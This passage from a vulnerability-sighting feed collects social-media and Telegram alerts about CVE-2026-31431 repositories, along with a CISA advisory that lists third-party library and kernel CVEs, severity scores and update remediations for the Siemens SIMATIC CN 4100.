"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/84068", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Copy-Fail-CVE-2026-31431-Lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a kuniyal08\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-13 11:36:05\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-13T12:00:04.000000Z"}, {"uuid": "b65ad0df-ff29-4460-a6a1-15a949d27ee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/gmqsYJuL8AU1ZXxnDjjWQKLCPTC0oBwWP4DJHqZuZarsDHs", "content": "", "creation_timestamp": "2026-05-12T21:00:04.000000Z"}, {"uuid": "ca442c6a-1618-4969-a935-8d22d37113fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/84138", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Sebastian294\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-13 23:56:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAnal\u00edsis - POC - Mitigaci\u00f3n\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-14T00:00:04.000000Z"}, {"uuid": "c48ad875-f73a-4731-8976-572a4a373b1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/AdvisoryICS/statuses/116570458687208466", "content": "New ICSAP Analysis Report out today: \"Reading Between the Advisories.\"\nReviewed 3,800 CISA ICS advisories and 12,468 ICS[AP] vendor advisories for Linux exposure to Copy Fail (CVE-2026-31431).0.8% mention Linux. Schneider, Rockwell, Mitsubishi, Hitachi Energy, Moxa: zero references each across 755 advisories.Advisory text alone won't show asset owners their exposure.\nTLP:CLEAR \u2192 https://drive.google.com/file/d/1CDvyFi3ZcdMewTJmSURRQhEoNVWQI67s/view?usp=sharing\n#OTSecurity #ICSSecurity #CopyFail #CVE202631431 #LinuxKernel #PSIRT", "creation_timestamp": "2026-05-14T02:00:40.580851Z"}, {"uuid": "741ba42e-70be-43ef-958e-fbb74d249b00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mlrrkr5rym2j", "content": "Top 3 CVE for last 7 days:\nCVE-2026-43284: 134 interactions\nCVE-2026-43500: 99 interactions\nCVE-2026-31431: 73 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-46300: 14 interactions\nCVE-2026-42945: 7 interactions\nCVE-2025-8088: 6 interactions\n", "creation_timestamp": "2026-05-14T02:30:34.466046Z"}, {"uuid": "9cc82614-3294-49e5-ab84-327237ef0936", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/O41s4ZacceniC-zmRdA20LKtlUfLN8dJaI2Rmc1hsAXigiA", "content": "", "creation_timestamp": "2026-05-13T21:00:04.000000Z"}, {"uuid": "7c1ef979-8da0-451a-b5df-e3397c31d257", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31156", "type": "seen", "source": "Telegram/cc4rNasGAf6eBRoD2kZTJIxW5lr85DmN8AZG7mw1GXsUUwc", "content": "", "creation_timestamp": "2026-05-13T15:00:06.000000Z"}, {"uuid": "17546d4a-dcb3-4883-91dd-e16e5fc503a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/cc4rNasGAf6eBRoD2kZTJIxW5lr85DmN8AZG7mw1GXsUUwc", "content": "", "creation_timestamp": "2026-05-13T15:00:06.000000Z"}, {"uuid": "091ed39f-af17-4b24-89b2-7152f44d405d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31156", "type": "seen", "source": "Telegram/teG4DVBc85RVRMJm4el6jDQBtDWo8ajupjsz6y3TMCUVzzM", "content": "", "creation_timestamp": "2026-05-13T11:00:14.000000Z"}, {"uuid": "d17b51b6-1b8b-49c5-afd5-e6a40b269edf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/6_gD9pQtVCg_eRlU_-Eqvw6JM83wq5C4Rc0rf2uF-yzttPU", "content": "", "creation_timestamp": "2026-05-13T09:00:04.000000Z"}, {"uuid": "52c8aa3e-42da-48eb-b353-4549d42997be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/no9VrmuWpYCotL5oqRbnMQdNuDYSzv-XRgybXr9t8F_k0Js", "content": "", "creation_timestamp": "2026-05-12T03:00:06.000000Z"}, {"uuid": "8d8acb96-b566-4341-9898-4b6daea3796e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/3mcAKt-TCdIGsV7AJ163_iqV6zQW8_VtQJEsWZ7ibFZpkk0", "content": "", "creation_timestamp": "2026-05-14T03:00:06.000000Z"}, {"uuid": "9c189a4f-8336-468c-9848-8b4342dd8d40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/84190", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-CopyFail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xFuffM3\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-14 09:16:48\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-14T10:00:04.000000Z"}, {"uuid": "e758337a-e61f-4e6f-9183-16195141b54a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31789", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-134-10", "content": "View CSAF\n\nSummary\n\nSIMATIC CN 4100 contains multiple vulnerabilities which could potentially lead to a compromise in availability, integrity and confidentiality. Siemens has released a new version for SIMATIC CN 4100 and recommends to update to the latest version.\n\nThe following versions of Siemens SIMATIC are affected:\n\n\n\nSIMATIC CN 4100 vers:intdot/<5.0 \n\n<div class=\"csaf-table\">\n\n\n\n\nCVSS\nVendor\nEquipment\nVulnerabilities\n\n\n\n\nv3 9.6\nSiemens\nSiemens SIMATIC\nNULL Pointer Dereference, Reachable Assertion, Use After Free, Out-of-bounds Write, Integer Overflow or Wraparound, Allocation of Resources Without Limits or Throttling, Out-of-bounds Read, Covert Timing Channel, Stack-based Buffer Overflow, Inefficient Algorithmic Complexity, Missing Release of Memory after Effective Lifetime, Improper Restriction of Operations within the Bounds of a Memory Buffer, Improper Input Validation, Improper Locking, Uncontrolled Recursion, Buffer Access with Incorrect Length Value, Race Condition within a Thread, Missing Synchronization, Use of Uninitialized Resource, Double Free, Missing Release of Resource after Effective Lifetime, Loop with Unreachable Exit Condition ('Infinite Loop'), Improper Update of Reference Count, Improper Control of a Resource Through its Lifetime, Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), Unexpected Status Code or Return Value, Divide By Zero, Improper Validation of Specified Index, Position, or Offset in Input, Comparison Using Wrong Factors, Observable Timing Discrepancy, Improper Validation of Syntactic Correctness of Input, Deadlock, Signal Handler Race Condition, Improper Following of Specification by Caller, Improper Check for Dropped Privileges, Transmission of Private Resources into a New Sphere ('Resource Leak'), Improper Resource Shutdown or Release, Improper Access Control, Exposure of Sensitive Information to an Unauthorized Actor, Relative Path Traversal, Improper Neutralization of Escape, Meta, or Control Sequences, Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade'), Uncontrolled Resource Consumption, Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Missing Authentication for Critical Function, Improper Check for Unusual or Exceptional Conditions\n\n\n\n</div>\n\nBackground\n\n\n\nCritical Infrastructure Sectors: Critical Manufacturing\n\nCountries/Areas Deployed: Worldwide\n\nCompany Headquarters Location: Germany\n\n\n\n\nVulnerabilities\n<div class=\"csaf-accordion\">\n\nExpand All +\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-47704\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Check link_res->hpo_dp_link_enc before using it [WHAT & HOW] Functions dp_enable_link_phy and dp_disable_link_phy can pass link_res without initializing hpo_dp_link_enc and it is necessary to check for null before dereferencing. This fixes 2 FORWARD_NULL issues reported by Coverity.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-57924\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: relax assertions on failure to encode file handles Encoding file handles is usually performed by a filesystem >encode_fh() method that may fail for various reasons. The legacy users of exportfs_encode_fh(), namely, nfsd and name_to_handle_at(2) syscall are ready to cope with the possibility of failure to encode a file handle. There are a few other users of exportfs_encode_{fh,fid}() that currently have a WARN_ON() assertion when ->encode_fh() fails. Relax those assertions because they are wrong. The second linked bug report states commit 16aac5ad1fa9 (\"ovl: support encoding non-decodable file handles\") in v6.6 as the regressing commit, but this is not accurate. The aforementioned commit only increases the chances of the assertion and allows triggering the assertion with the reproducer using overlayfs, inotify and drop_caches. Triggering this assertion was always possible with other filesystems and other reasons of ->encode_fh() failures and more particularly, it was also possible with the exact same reproducer using overlayfs that is mounted with options index=on,nfs_export=on also on kernels < v6.6. Therefore, I am not listing the aforementioned commit as a Fixes commit. Backport hint: this patch will have a trivial conflict applying to v6.6.y, and other trivial conflicts applying to stable kernels < v6.6.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-617 Reachable Assertion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-58240\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tls: separate no-async decryption request handling from async If we're not doing async, the handling is much simpler. There's no reference counting, we just need to wait for the completion to wake us up and return its result. We should preferably also use a separate crypto_wait. I'm not seeing a UAF as I did in the past, I think aec7961916f3 (\"tls: fix race between async notify and socket close\") took care of it. This will make the next fix easier.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.3\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-6021\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in libxml2's xmlBuildQName function, where integer overflows in buffer size calculations can lead to a stack-based buffer overflow. This issue can result in memory corruption or a denial of service when processing crafted input.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-6052\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in how GLib\u2019s GString manages memory when adding data to strings. If a string is already very large, combining it with more input can cause a hidden overflow in the size calculation. This makes the system think it has enough memory when it doesn\u2019t. As a result, data may be written past the end of the allocated memory, leading to crashes or memory corruption.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-190 Integer Overflow or Wraparound\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.7\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-7425\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in libxslt where the attribute type, atype, flags are modified in a way that corrupts internal memory management. When XSLT functions, such as the key() process, result in tree fragments, this corruption prevents the proper cleanup of ID attributes. As a result, the system may access freed memory, causing crashes or enabling attackers to trigger heap corruption.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-8916\n<div class=\"csaf-accordion-content\">\n\nAllocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. BC Java bcpkix on All (API modules), Legion of the Bouncy Castle Inc. BC Java bcprov on All (API modules), Legion of the Bouncy Castle Inc. BCPKIX FIPS bcpkix-fips on All (API modules) allows Excessive Allocation. This vulnerability is associated with program files https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertPathReviewer.Java, https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathReviewer.Java. This issue affects BC Java: from 1.44 through 1.78; BC Java: from 1.44 through 1.78; BCPKIX FIPS: from 1.0.0 through 1.0.7, from 2.0.0 through 2.0.7.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-770 Allocation of Resources Without Limits or Throttling\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9230\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9231\n<div class=\"csaf-accordion-content\">\n\nIssue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-385 Covert Timing Channel\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9232\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9820\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in the GnuTLS library, specifically in the gnutls_pkcs11_token_init() function that handles PKCS#11 token initialization. When a token label longer than expected is processed, the function writes past the end of a fixed-size stack buffer. This programming error can cause the application using GnuTLS to crash or, in certain conditions, be exploited for code execution. As a result, systems or applications relying on GnuTLS may be vulnerable to a denial of service or local privilege escalation attacks.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-121 Stack-based Buffer Overflow\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-14831\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in GnuTLS. This vulnerability allows a denial of service (DoS) by excessive CPU (Central Processing Unit) and memory consumption via specially crafted malicious certificates containing a large number of name constraints and subject alternative names (SANs).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-407 Inefficient Algorithmic Complexity\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-23143\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: Fix null-ptr-deref by sock_lock_init_class_and_name() and rmmod. When I ran the repro [0] and waited a few seconds, I observed two LOCKDEP splats: a warning immediately followed by a null-ptr-deref. [1] Reproduction Steps: 1) Mount CIFS 2) Add an iptables rule to drop incoming FIN packets for CIFS 3) Unmount CIFS 4) Unload the CIFS module 5) Remove the iptables rule At step 3), the CIFS module calls sock_release() for the underlying TCP socket, and it returns quickly. However, the socket remains in FIN_WAIT_1 because incoming FIN packets are dropped. At this point, the module's refcnt is 0 while the socket is still alive, so the following rmmod command succeeds. # ss -tan State Recv-Q Send-Q Local Address:Port Peer Address:Port FIN-WAIT-1 0 477 10.0.2.15:51062 10.0.0.137:445 # lsmod | grep cifs cifs 1159168 0 This highlights a discrepancy between the lifetime of the CIFS module and the underlying TCP socket. Even after CIFS calls sock_release() and it returns, the TCP socket does not die immediately in order to close the connection gracefully. While this is generally fine, it causes an issue with LOCKDEP because CIFS assigns a different lock class to the TCP socket's sk->sk_lock using sock_lock_init_class_and_name(). Once an incoming packet is processed for the socket or a timer fires, sk->sk_lock is acquired. Then, LOCKDEP checks the lock context in check_wait_context(), where hlock_class() is called to retrieve the lock class. However, since the module has already been unloaded, hlock_class() logs a warning and returns NULL, triggering the null-ptr-deref. If LOCKDEP is enabled, we must ensure that a module calling sock_lock_init_class_and_name() (CIFS, NFS, etc) cannot be unloaded while such a socket is still alive to prevent this issue. Let's hold the module reference in sock_lock_init_class_and_name() and release it when the socket is freed in 